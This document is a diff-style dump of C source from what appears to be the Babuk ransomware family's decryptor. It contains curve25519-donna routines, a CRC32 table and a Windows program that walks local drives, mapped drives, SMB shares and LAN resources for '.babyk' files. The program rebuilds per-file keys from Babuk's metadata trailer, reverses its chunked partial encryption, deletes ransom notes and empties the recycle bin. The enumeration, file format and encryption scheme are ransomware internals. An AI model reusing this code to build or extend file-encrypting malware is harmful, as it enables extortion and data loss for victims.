limb origx[10], origxprime[10], zzz[19], xx[19], zz[19], xxprime[19],
|
||||
zzprime[19], zzzprime[19], xxxprime[19];
|
||||
|
||||
_memcpy(origx, x, 10 * sizeof(limb));
|
||||
fsum(x, z);
|
||||
/* |x[i]| < 2^27 */
|
||||
fdifference(z, origx); /* does x - z */
|
||||
/* |z[i]| < 2^27 */
|
||||
|
||||
_memcpy(origxprime, xprime, sizeof(limb) * 10);
|
||||
fsum(xprime, zprime);
|
||||
/* |xprime[i]| < 2^27 */
|
||||
fdifference(zprime, origxprime);
|
||||
/* |zprime[i]| < 2^27 */
|
||||
fproduct(xxprime, xprime, z);
|
||||
/* |xxprime[i]| < 14*2^54: the largest product of two limbs will be <
|
||||
* 2^(27+27) and fproduct adds together, at most, 14 of those products.
|
||||
* (Approximating that to 2^58 doesn't work out.) */
|
||||
fproduct(zzprime, x, zprime);
|
||||
/* |zzprime[i]| < 14*2^54 */
|
||||
freduce_degree(xxprime);
|
||||
freduce_coefficients(xxprime);
|
||||
/* |xxprime[i]| < 2^26 */
|
||||
freduce_degree(zzprime);
|
||||
freduce_coefficients(zzprime);
|
||||
/* |zzprime[i]| < 2^26 */
|
||||
_memcpy(origxprime, xxprime, sizeof(limb) * 10);
|
||||
fsum(xxprime, zzprime);
|
||||
/* |xxprime[i]| < 2^27 */
|
||||
fdifference(zzprime, origxprime);
|
||||
/* |zzprime[i]| < 2^27 */
|
||||
fsquare(xxxprime, xxprime);
|
||||
/* |xxxprime[i]| < 2^26 */
|
||||
fsquare(zzzprime, zzprime);
|
||||
/* |zzzprime[i]| < 2^26 */
|
||||
fproduct(zzprime, zzzprime, qmqp);
|
||||
/* |zzprime[i]| < 14*2^52 */
|
||||
freduce_degree(zzprime);
|
||||
freduce_coefficients(zzprime);
|
||||
/* |zzprime[i]| < 2^26 */
|
||||
_memcpy(x3, xxxprime, sizeof(limb) * 10);
|
||||
_memcpy(z3, zzprime, sizeof(limb) * 10);
|
||||
|
||||
fsquare(xx, x);
|
||||
/* |xx[i]| < 2^26 */
|
||||
fsquare(zz, z);
|
||||
/* |zz[i]| < 2^26 */
|
||||
fproduct(x2, xx, zz);
|
||||
/* |x2[i]| < 14*2^52 */
|
||||
freduce_degree(x2);
|
||||
freduce_coefficients(x2);
|
||||
/* |x2[i]| < 2^26 */
|
||||
fdifference(zz, xx); // does zz = xx - zz
|
||||
/* |zz[i]| < 2^27 */
|
||||
_memset(zzz + 10, 0, sizeof(limb) * 9);
|
||||
fscalar_product(zzz, zz, 121665);
|
||||
/* |zzz[i]| < 2^(27+17) */
|
||||
/* No need to call freduce_degree here:
|
||||
fscalar_product doesn't increase the degree of its input. */
|
||||
freduce_coefficients(zzz);
|
||||
/* |zzz[i]| < 2^26 */
|
||||
fsum(zzz, xx);
|
||||
/* |zzz[i]| < 2^27 */
|
||||
fproduct(z2, zz, zzz);
|
||||
/* |z2[i]| < 14*2^(26+27) */
|
||||
freduce_degree(z2);
|
||||
freduce_coefficients(z2);
|
||||
/* |z2|i| < 2^26 */
|
||||
}
|
||||
|
||||
/* Conditionally swap two reduced-form limb arrays if 'iswap' is 1, but leave
|
||||
* them unchanged if 'iswap' is 0. Runs in data-invariant time to avoid
|
||||
* side-channel attacks.
|
||||
*
|
||||
* NOTE that this function requires that 'iswap' be 1 or 0; other values give
|
||||
* wrong results. Also, the two limb arrays must be in reduced-coefficient,
|
||||
* reduced-degree form: the values in a[10..19] or b[10..19] aren't swapped,
|
||||
* and all all values in a[0..9],b[0..9] must have magnitude less than
|
||||
* INT32_MAX. */
|
||||
static void
|
||||
swap_conditional(limb a[19], limb b[19], limb iswap) {
|
||||
unsigned i;
|
||||
const s32 swap = (s32) -iswap;
|
||||
|
||||
for (i = 0; i < 10; ++i) {
|
||||
const s32 x = swap & ( ((s32)a[i]) ^ ((s32)b[i]) );
|
||||
a[i] = ((s32)a[i]) ^ x;
|
||||
b[i] = ((s32)b[i]) ^ x;
|
||||
}
|
||||
}
|
||||
|
||||
/* Calculates nQ where Q is the x-coordinate of a point on the curve
|
||||
*
|
||||
* resultx/resultz: the x coordinate of the resulting curve point (short form)
|
||||
* n: a little endian, 32-byte number
|
||||
* q: a point of the curve (short form) */
|
||||
static void
|
||||
cmult(limb *resultx, limb *resultz, const u8 *n, const limb *q) {
|
||||
limb a[19], b[19], c[19], d[19];
|
||||
limb *nqpqx = a, *nqpqz = b, *nqx = c, *nqz = d, *t;
|
||||
limb e[19], f[19], g[19], h[19];
|
||||
limb *nqpqx2 = e, *nqpqz2 = f, *nqx2 = g, *nqz2 = h;
|
||||
|
||||
for (int i = 0; i < 19; i++) {
|
||||
a[i] = 0;
|
||||
b[i] = 0;
|
||||
c[i] = 0;
|
||||
d[i] = 0;
|
||||
e[i] = 0;
|
||||
f[i] = 0;
|
||||
g[i] = 0;
|
||||
h[i] = 0;
|
||||
}
|
||||
|
||||
b[0] = 1;
|
||||
c[0] = 1;
|
||||
f[0] = 1;
|
||||
h[0] = 1;
|
||||
|
||||
unsigned i, j;
|
||||
|
||||
_memcpy(nqpqx, q, sizeof(limb) * 10);
|
||||
|
||||
for (i = 0; i < 32; ++i) {
|
||||
u8 byte = n[31 - i];
|
||||
for (j = 0; j < 8; ++j) {
|
||||
const limb bit = byte >> 7;
|
||||
|
||||
swap_conditional(nqx, nqpqx, bit);
|
||||
swap_conditional(nqz, nqpqz, bit);
|
||||
fmonty(nqx2, nqz2,
|
||||
nqpqx2, nqpqz2,
|
||||
nqx, nqz,
|
||||
nqpqx, nqpqz,
|
||||
q);
|
||||
swap_conditional(nqx2, nqpqx2, bit);
|
||||
swap_conditional(nqz2, nqpqz2, bit);
|
||||
|
||||
t = nqx;
|
||||
nqx = nqx2;
|
||||
nqx2 = t;
|
||||
t = nqz;
|
||||
nqz = nqz2;
|
||||
nqz2 = t;
|
||||
t = nqpqx;
|
||||
nqpqx = nqpqx2;
|
||||
nqpqx2 = t;
|
||||
t = nqpqz;
|
||||
nqpqz = nqpqz2;
|
||||
nqpqz2 = t;
|
||||
|
||||
byte <<= 1;
|
||||
}
|
||||
}
|
||||
|
||||
_memcpy(resultx, nqx, sizeof(limb) * 10);
|
||||
_memcpy(resultz, nqz, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Shamelessly copied from djb's code
|
||||
// -----------------------------------------------------------------------------
|
||||
static void
|
||||
crecip(limb *out, const limb *z) {
|
||||
limb z2[10];
|
||||
limb z9[10];
|
||||
limb z11[10];
|
||||
limb z2_5_0[10];
|
||||
limb z2_10_0[10];
|
||||
limb z2_20_0[10];
|
||||
limb z2_50_0[10];
|
||||
limb z2_100_0[10];
|
||||
limb t0[10];
|
||||
limb t1[10];
|
||||
int i;
|
||||
|
||||
/* 2 */ fsquare(z2,z);
|
||||
/* 4 */ fsquare(t1,z2);
|
||||
/* 8 */ fsquare(t0,t1);
|
||||
/* 9 */ fmul(z9,t0,z);
|
||||
/* 11 */ fmul(z11,z9,z2);
|
||||
/* 22 */ fsquare(t0,z11);
|
||||
/* 2^5 - 2^0 = 31 */ fmul(z2_5_0,t0,z9);
|
||||
|
||||
/* 2^6 - 2^1 */ fsquare(t0,z2_5_0);
|
||||
/* 2^7 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^8 - 2^3 */ fsquare(t0,t1);
|
||||
/* 2^9 - 2^4 */ fsquare(t1,t0);
|
||||
/* 2^10 - 2^5 */ fsquare(t0,t1);
|
||||
/* 2^10 - 2^0 */ fmul(z2_10_0,t0,z2_5_0);
|
||||
|
||||
/* 2^11 - 2^1 */ fsquare(t0,z2_10_0);
|
||||
/* 2^12 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^20 - 2^10 */ for (i = 2;i < 10;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^20 - 2^0 */ fmul(z2_20_0,t1,z2_10_0);
|
||||
|
||||
/* 2^21 - 2^1 */ fsquare(t0,z2_20_0);
|
||||
/* 2^22 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^40 - 2^20 */ for (i = 2;i < 20;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^40 - 2^0 */ fmul(t0,t1,z2_20_0);
|
||||
|
||||
/* 2^41 - 2^1 */ fsquare(t1,t0);
|
||||
/* 2^42 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^50 - 2^10 */ for (i = 2;i < 10;i += 2) { fsquare(t1,t0); fsquare(t0,t1); }
|
||||
/* 2^50 - 2^0 */ fmul(z2_50_0,t0,z2_10_0);
|
||||
|
||||
/* 2^51 - 2^1 */ fsquare(t0,z2_50_0);
|
||||
/* 2^52 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^100 - 2^50 */ for (i = 2;i < 50;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^100 - 2^0 */ fmul(z2_100_0,t1,z2_50_0);
|
||||
|
||||
/* 2^101 - 2^1 */ fsquare(t1,z2_100_0);
|
||||
/* 2^102 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^200 - 2^100 */ for (i = 2;i < 100;i += 2) { fsquare(t1,t0); fsquare(t0,t1); }
|
||||
/* 2^200 - 2^0 */ fmul(t1,t0,z2_100_0);
|
||||
|
||||
/* 2^201 - 2^1 */ fsquare(t0,t1);
|
||||
/* 2^202 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^250 - 2^50 */ for (i = 2;i < 50;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^250 - 2^0 */ fmul(t0,t1,z2_50_0);
|
||||
|
||||
/* 2^251 - 2^1 */ fsquare(t1,t0);
|
||||
/* 2^252 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^253 - 2^3 */ fsquare(t1,t0);
|
||||
/* 2^254 - 2^4 */ fsquare(t0,t1);
|
||||
/* 2^255 - 2^5 */ fsquare(t1,t0);
|
||||
/* 2^255 - 21 */ fmul(out,t1,z11);
|
||||
}
|
||||
|
||||
int curve25519_donna(u8 *mypublic, const u8 *secret, const u8 *basepoint) {
|
||||
limb bp[10], x[10], z[11], zmone[10];
|
||||
uint8_t e[32];
|
||||
int i;
|
||||
|
||||
for (i = 0; i < 32; ++i) e[i] = secret[i];
|
||||
e[0] &= 248;
|
||||
e[31] &= 127;
|
||||
e[31] |= 64;
|
||||
|
||||
fexpand(bp, basepoint);
|
||||
cmult(x, z, e, bp);
|
||||
crecip(zmone, z);
|
||||
fmul(z, x, zmone);
|
||||
fcontract(mypublic, z);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t limb;
|
||||
|
||||
int curve25519_donna(u8* mypublic, const u8* secret, const u8* basepoint);
|
|
@ -0,0 +1,398 @@
|
|||
#include <Windows.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <RestartManager.h>
|
||||
#include <Wbemprov.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <icmpapi.h>
|
||||
#include <lm.h>
|
||||
|
||||
#include "hash/crc32.h"
|
||||
#include "hash/sha512.h"
|
||||
#include "eSTREAM/ecrypt-sync.h"
|
||||
#include "ecc/curve25519-donna.h"
|
||||
|
||||
#include "memory.h"
|
||||
#include "queue.h"
|
||||
#include "args.h"
|
||||
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
#pragma comment(lib, "wbemuuid.lib")
|
||||
#pragma comment(lib, "rstrtmgr.lib")
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
#pragma comment(lib, "mpr.lib")
|
||||
|
||||
#pragma comment(linker, "/ENTRY:entry")
|
||||
#pragma comment(linker, "/MERGE:.rdata=.text")
|
||||
|
||||
#define NOTE_FILE_NAME L"How To Restore Your Files.txt"
|
||||
|
||||
static const WCHAR* black[] = { L"Windows", L"Windows.old", L"Tor Browser", L"Internet Explorer", L"Google", L"Opera", L"Opera Software", L"Mozilla", L"Mozilla Firefox", L"$Recycle.Bin", L"ProgramData", L"All Users", L"autorun.inf", L"boot.ini", L"bootfont.bin", L"bootsect.bak", L"bootmgr", L"bootmgr.efi", L"bootmgfw.efi", L"desktop.ini", L"iconcache.db", L"ntldr", L"ntuser.dat", L"ntuser.dat.log", L"ntuser.ini", L"thumbs.db", L"ecdh_pub_k.bin", L"Program Files", L"Program Files (x86)", L"..", L"." };
|
||||
|
||||
static BYTE m_priv[32] = {
|
||||
'c', 'u', 'r', 'v', 'p', 'a', 't', 't', 'e', 'r', 'n', 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
#define VERSION_MUTEX "DoYouWantToHaveSexWithCoungDong"
|
||||
|
||||
#define CONST_BLOCK_PLUS 0x100000
|
||||
#define CONST_BLOCK_MINUS -CONST_BLOCK_PLUS
|
||||
|
||||
#define CONST_LARGE_FILE 0x1400000
|
||||
#define CONST_MEDIUM_FILE 0x500000
|
||||
|
||||
struct BABUK_KEYS {
|
||||
BYTE enc_key[32];
|
||||
BYTE enc_vec[32];
|
||||
};
|
||||
|
||||
struct BABUK_FILEMETA {
|
||||
BYTE curve25519_pub[32];
|
||||
DWORD xcrc32_hash;
|
||||
LONGLONG flag1;
|
||||
LONGLONG flag2;
|
||||
LONGLONG flag3;
|
||||
LONGLONG flag4;
|
||||
};
|
||||
|
||||
void _decrypt_file(WCHAR* filePath) {
|
||||
LARGE_INTEGER fileSize;
|
||||
LARGE_INTEGER fileOffset;
|
||||
LARGE_INTEGER fileChunks;
|
||||
|
||||
|
||||
|
||||
if (WCHAR* newName = (WCHAR*)_halloc(32768 * sizeof(WCHAR))) {
|
||||
lstrcpyW(newName, filePath);
|
||||
(newName + (lstrlenW(filePath) - 6))[0] = L'\0';
|
||||
MoveFileExW(filePath, newName, MOVEFILE_WRITE_THROUGH | MOVEFILE_REPLACE_EXISTING);
|
||||
|
||||
fileOffset.QuadPart = 0;
|
||||
HANDLE hFile = CreateFileW(newName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
||||
_hfree(newName);
|
||||
|
||||
DWORD dwRead;
|
||||
DWORD dwWrite;
|
||||
|
||||
BABUK_KEYS babuk_keys;
|
||||
BABUK_FILEMETA babuk_meta;
|
||||
|
||||
ECRYPT_ctx ctx;
|
||||
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
rescan:;
|
||||
BYTE dhsc[32];
|
||||
GetFileSizeEx(hFile, &fileSize);
|
||||
if (fileSize.QuadPart > (LONGLONG)sizeof(BABUK_FILEMETA)) {
|
||||
if (BYTE* ioBuffer = (BYTE*)_halloc(CONST_BLOCK_PLUS)) {
|
||||
fileOffset.QuadPart = fileSize.QuadPart - sizeof(BABUK_FILEMETA);
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
ReadFile(hFile, (BYTE*)&babuk_meta, sizeof(BABUK_FILEMETA), &dwRead, 0);
|
||||
|
||||
if (
|
||||
babuk_meta.flag1 == 0x6420676e756f6863 && babuk_meta.flag2 == 0x6b6f6f6c20676e6f &&
|
||||
babuk_meta.flag3 == 0x6820656b696c2073 && babuk_meta.flag4 == 0x2121676f6420746f
|
||||
) {
|
||||
fileSize.QuadPart -= sizeof(BABUK_FILEMETA);
|
||||
|
||||
curve25519_donna(dhsc, (u8*)m_priv, babuk_meta.curve25519_pub);
|
||||
SHA512_Simple(dhsc, 32, (BYTE*)&babuk_keys);
|
||||
if (babuk_meta.xcrc32_hash == xcrc32((BYTE*)&babuk_keys, sizeof(BABUK_KEYS))) {
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
SetEndOfFile(hFile);
|
||||
|
||||
ECRYPT_keysetup(&ctx, babuk_keys.enc_key, 256, 256);
|
||||
ECRYPT_ivsetup(&ctx, babuk_keys.enc_vec);
|
||||
|
||||
fileOffset.QuadPart = 0;
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
if (fileSize.QuadPart > CONST_LARGE_FILE) {
|
||||
fileChunks.QuadPart = fileSize.QuadPart / 0xA00000i64;
|
||||
for (LONGLONG i = 0; i < fileChunks.QuadPart; i++) {
|
||||
ReadFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwRead, 0);
|
||||
ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
WriteFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwWrite, 0);
|
||||
|
||||
fileOffset.QuadPart += 0xA00000i64;
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
}
|
||||
}
|
||||
else if (fileSize.QuadPart > CONST_MEDIUM_FILE) {
|
||||
LONGLONG jump = fileSize.QuadPart / 3;
|
||||
|
||||
for (LONGLONG i = 0; i < 3; i++) {
|
||||
ReadFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwRead, 0);
|
||||
ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
WriteFile(hFile, ioBuffer, dwRead, &dwWrite, 0);
|
||||
|
||||
fileOffset.QuadPart += jump;
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
}
|
||||
}
|
||||
else if (fileSize.QuadPart > 0) {
|
||||
LONGLONG block_size = fileSize.QuadPart > 64 ? fileSize.QuadPart / 10 : fileSize.QuadPart;
|
||||
|
||||
ReadFile(hFile, ioBuffer, block_size, &dwRead, 0);
|
||||
ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
WriteFile(hFile, ioBuffer, dwRead, &dwWrite, 0);
|
||||
}
|
||||
|
||||
goto rescan;
|
||||
}
|
||||
else {
|
||||
MessageBoxW(0, filePath, L"Key broken!", 0);
|
||||
}
|
||||
}
|
||||
_hfree(ioBuffer);
|
||||
}
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DWORD WINAPI lilBabuk(LPVOID lpData) {
|
||||
while (WCHAR* file = _que_pop()) {
|
||||
_decrypt_file(file);
|
||||
_hfree(file);
|
||||
}
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
void find_files_recursive(LPCWSTR dirPath)
|
||||
{
|
||||
DWORD dwO;
|
||||
if (WCHAR* localDir = (WCHAR*)_halloc(32768 * sizeof(WCHAR)))
|
||||
{
|
||||
WIN32_FIND_DATAW fd;
|
||||
lstrcpyW(localDir, dirPath);
|
||||
lstrcatW(localDir, L"\\*");
|
||||
HANDLE hIter = FindFirstFileW(localDir, &fd);
|
||||
if (hIter != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
do
|
||||
{
|
||||
for (DWORD i = 0; i < _countof(black); ++i) {
|
||||
if (!lstrcmpiW(fd.cFileName, black[i])) {
|
||||
goto skip;
|
||||
}
|
||||
}
|
||||
|
||||
lstrcpyW(localDir, dirPath);
|
||||
lstrcatW(localDir, L"\\");
|
||||
lstrcatW(localDir, fd.cFileName);
|
||||
|
||||
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
find_files_recursive(localDir);
|
||||
}
|
||||
else {
|
||||
for (int i = lstrlenW(fd.cFileName) - 1; i >= 0; i--) {
|
||||
if (fd.cFileName[i] == L'.') {
|
||||
if (lstrcmpiW(fd.cFileName + i, L".babyk") == 0) {
|
||||
_que_push(localDir);
|
||||
}
|
||||
else goto skip;
|
||||
}
|
||||
}
|
||||
}
|
||||
skip:;
|
||||
} while (FindNextFileW(hIter, &fd));
|
||||
FindClose(hIter);
|
||||
lstrcpyW(localDir, dirPath);
|
||||
lstrcatW(localDir, L"\\" NOTE_FILE_NAME);
|
||||
|
||||
DeleteFileW(localDir);
|
||||
}
|
||||
_hfree(localDir);
|
||||
}
|
||||
}
|
||||
|
||||
void find_files_network(LPNETRESOURCEW netRes)
|
||||
{
|
||||
HANDLE hEnum;
|
||||
DWORD dwEntries = -1;
|
||||
DWORD cbBuffer = 1024 * 16;
|
||||
if (WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, RESOURCEUSAGE_ALL, netRes, &hEnum) == NO_ERROR)
|
||||
{
|
||||
if (netRes = (LPNETRESOURCEW)_halloc(cbBuffer))
|
||||
{
|
||||
while (WNetEnumResourceW(hEnum, &dwEntries, netRes, &cbBuffer) == NO_ERROR)
|
||||
{
|
||||
for (DWORD i = 0; i < dwEntries; ++i)
|
||||
{
|
||||
if ((netRes[i].dwUsage & RESOURCEUSAGE_CONTAINER) == RESOURCEUSAGE_CONTAINER)
|
||||
find_files_network(&netRes[i]);
|
||||
else {
|
||||
find_files_recursive(netRes[i].lpRemoteName);
|
||||
}
|
||||
}
|
||||
}
|
||||
_hfree(netRes);
|
||||
}
|
||||
WNetCloseEnum(hEnum);
|
||||
}
|
||||
}
|
||||
|
||||
void enum_shares(LPCWSTR addr) {
|
||||
PSHARE_INFO_1 BufPtr, p;
|
||||
NET_API_STATUS res;
|
||||
DWORD er = 0, tr = 0, resume = 0, i;
|
||||
WCHAR unc[100];
|
||||
|
||||
do
|
||||
{
|
||||
res = NetShareEnum((LPWSTR)addr, 1, (LPBYTE*)&BufPtr, MAX_PREFERRED_LENGTH, &er, &tr, &resume);
|
||||
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
|
||||
{
|
||||
p = BufPtr;
|
||||
for (i = 1; i <= er; i++)
|
||||
{
|
||||
if (p->shi1_type == STYPE_DISKTREE || p->shi1_type == STYPE_SPECIAL) {
|
||||
if (lstrlenW(p->shi1_netname) > 2 && lstrcmpW(p->shi1_netname, L"ADMIN$") != 0) {
|
||||
lstrcpyW(unc, L"\\\\");
|
||||
lstrcatW(unc, addr);
|
||||
lstrcatW(unc, L"\\");
|
||||
lstrcatW(unc, p->shi1_netname);
|
||||
find_files_recursive(unc);
|
||||
}
|
||||
}
|
||||
p++;
|
||||
}
|
||||
NetApiBufferFree(BufPtr);
|
||||
}
|
||||
} while (res == ERROR_MORE_DATA);
|
||||
}
|
||||
|
||||
void entry() {
|
||||
MessageBoxA(0, "Press 'OK' to start decryption process!", 0, 0);
|
||||
int argc = 0;
|
||||
LPWSTR* argv = CommandLineToArgvW(GetCommandLineW(), &argc);
|
||||
|
||||
HANDLE hMutex = OpenMutexA(MUTEX_ALL_ACCESS, 0, VERSION_MUTEX);
|
||||
if (!hMutex) hMutex = CreateMutexA(0, 0, VERSION_MUTEX);
|
||||
else ExitProcess(0);
|
||||
|
||||
SetProcessShutdownParameters(0, 0);
|
||||
|
||||
_mem_initialize();
|
||||
ECRYPT_init();
|
||||
|
||||
if (WCHAR* testfile = argz_value(argc, argv, L"testfile")) {
|
||||
_decrypt_file(testfile);
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
SHEmptyRecycleBinA(0, 0, SHERB_NOCONFIRMATION | SHERB_NOPROGRESSUI | SHERB_NOSOUND);
|
||||
|
||||
SYSTEM_INFO lcSysInfo;
|
||||
GetSystemInfo(&lcSysInfo);
|
||||
DWORD dwThreads = lcSysInfo.dwNumberOfProcessors * 2;
|
||||
_que_initialize(lcSysInfo.dwNumberOfProcessors * 3);
|
||||
|
||||
WCHAR* lanPos = argz_value(argc, argv, L"lan");
|
||||
LPNETRESOURCEW lpRes = 0;
|
||||
if (HANDLE* hThreads = (HANDLE*)_halloc(dwThreads * sizeof(HANDLE))) {
|
||||
for (int i = 0; i < dwThreads; i++) {
|
||||
hThreads[i] = CreateThread(0, 0, lilBabuk, 0, 0, 0);
|
||||
}
|
||||
|
||||
if (WCHAR* shares = argz_value(argc, argv, L"shares")) {
|
||||
int count = 1;
|
||||
int len = lstrlenW(shares);
|
||||
for (int i = 0; i < len; i++) {
|
||||
if (shares[i] == L',') {
|
||||
shares[i] = L'\0';
|
||||
count++;
|
||||
}
|
||||
}
|
||||
do {
|
||||
WCHAR* share = (WCHAR*)_halloc(sizeof(WCHAR) * (lstrlenW(shares) + 1));
|
||||
lstrcpyW(share, shares);
|
||||
enum_shares(share);
|
||||
_hfree(share);
|
||||
|
||||
shares += lstrlenW(shares) + 1;
|
||||
} while (--count);
|
||||
}
|
||||
|
||||
if (WCHAR* paths = argz_value(argc, argv, L"paths")) {
|
||||
int count = 1;
|
||||
int len = lstrlenW(paths);
|
||||
for (int i = 0; i < len; i++) {
|
||||
if (paths[i] == L',') {
|
||||
paths[i] = L'\0';
|
||||
count++;
|
||||
}
|
||||
}
|
||||
do {
|
||||
WCHAR* path = (WCHAR*)_halloc(sizeof(WCHAR) * (lstrlenW(paths) + 1));
|
||||
lstrcpyW(path, paths);
|
||||
find_files_recursive(path);
|
||||
_hfree(path);
|
||||
|
||||
paths += lstrlenW(paths) + 1;
|
||||
} while (--count);
|
||||
}
|
||||
|
||||
if (lstrcmpW(lanPos, L"before") == 0) {
|
||||
find_files_network(lpRes);
|
||||
}
|
||||
|
||||
if (DWORD dwDrives = GetLogicalDrives()) {
|
||||
for (WCHAR disk = L'A'; disk <= L'Z'; ++disk)
|
||||
{
|
||||
if (dwDrives & 1)
|
||||
{
|
||||
if (WCHAR* driveBuffer = (WCHAR*)_halloc(7 * sizeof(WCHAR))) {
|
||||
lstrcpyW(driveBuffer, L"\\\\?\\");
|
||||
lstrcpyW(driveBuffer + 5, L":");
|
||||
driveBuffer[4] = disk;
|
||||
|
||||
if (DWORD driveType = GetDriveTypeW(driveBuffer)) {
|
||||
if (driveType != DRIVE_CDROM) {
|
||||
if (driveType != DRIVE_REMOTE) {
|
||||
find_files_recursive(driveBuffer);
|
||||
}
|
||||
else {
|
||||
DWORD remoteDrvSize = 260;
|
||||
if (WCHAR* remoteDrv = (WCHAR*)_halloc(remoteDrvSize * sizeof(WCHAR)))
|
||||
{
|
||||
if (WNetGetConnectionW(&driveBuffer[4], remoteDrv, &remoteDrvSize) == NO_ERROR) {
|
||||
find_files_recursive(remoteDrv);
|
||||
_hfree(remoteDrv);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
_hfree(driveBuffer);
|
||||
}
|
||||
}
|
||||
dwDrives >>= 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (lstrcmpW(lanPos, L"after") == 0 || lanPos == 0) {
|
||||
find_files_network(lpRes);
|
||||
}
|
||||
|
||||
for (int i = 0; i < dwThreads; i++) {
|
||||
_que_push(0);
|
||||
}
|
||||
WaitForMultipleObjects(dwThreads, hThreads, TRUE, INFINITE);
|
||||
for (int i = 0; i < dwThreads; i++) {
|
||||
CloseHandle(hThreads[i]);
|
||||
}
|
||||
|
||||
_hfree(hThreads);
|
||||
}
|
||||
|
||||
MessageBoxA(0, "Your files decrypted, bye!", 0, 0);
|
||||
ExitProcess(0);
|
||||
}
|
|
@ -0,0 +1,80 @@
|
|||
#include "crc32.h"
|
||||
|
||||
static const unsigned int crc32_table[] =
|
||||
{
|
||||
0x00000000, 0x04c11db7, 0x09823b6e, 0x0d4326d9,
|
||||
0x130476dc, 0x17c56b6b, 0x1a864db2, 0x1e475005,
|
||||
0x2608edb8, 0x22c9f00f, 0x2f8ad6d6, 0x2b4bcb61,
|
||||
0x350c9b64, 0x31cd86d3, 0x3c8ea00a, 0x384fbdbd,
|
||||
0x4c11db70, 0x48d0c6c7, 0x4593e01e, 0x4152fda9,
|
||||
0x5f15adac, 0x5bd4b01b, 0x569796c2, 0x52568b75,
|
||||
0x6a1936c8, 0x6ed82b7f, 0x639b0da6, 0x675a1011,
|
||||
0x791d4014, 0x7ddc5da3, 0x709f7b7a, 0x745e66cd,
|
||||
0x9823b6e0, 0x9ce2ab57, 0x91a18d8e, 0x95609039,
|
||||
0x8b27c03c, 0x8fe6dd8b, 0x82a5fb52, 0x8664e6e5,
|
||||
0xbe2b5b58, 0xbaea46ef, 0xb7a96036, 0xb3687d81,
|
||||
0xad2f2d84, 0xa9ee3033, 0xa4ad16ea, 0xa06c0b5d,
|
||||
0xd4326d90, 0xd0f37027, 0xddb056fe, 0xd9714b49,
|
||||
0xc7361b4c, 0xc3f706fb, 0xceb42022, 0xca753d95,
|
||||
0xf23a8028, 0xf6fb9d9f, 0xfbb8bb46, 0xff79a6f1,
|
||||
0xe13ef6f4, 0xe5ffeb43, 0xe8bccd9a, 0xec7dd02d,
|
||||
0x34867077, 0x30476dc0, 0x3d044b19, 0x39c556ae,
|
||||
0x278206ab, 0x23431b1c, 0x2e003dc5, 0x2ac12072,
|
||||
0x128e9dcf, 0x164f8078, 0x1b0ca6a1, 0x1fcdbb16,
|
||||
0x018aeb13, 0x054bf6a4, 0x0808d07d, 0x0cc9cdca,
|
||||
0x7897ab07, 0x7c56b6b0, 0x71159069, 0x75d48dde,
|
||||
0x6b93dddb, 0x6f52c06c, 0x6211e6b5, 0x66d0fb02,
|
||||
0x5e9f46bf, 0x5a5e5b08, 0x571d7dd1, 0x53dc6066,
|
||||
0x4d9b3063, 0x495a2dd4, 0x44190b0d, 0x40d816ba,
|
||||
0xaca5c697, 0xa864db20, 0xa527fdf9, 0xa1e6e04e,
|
||||
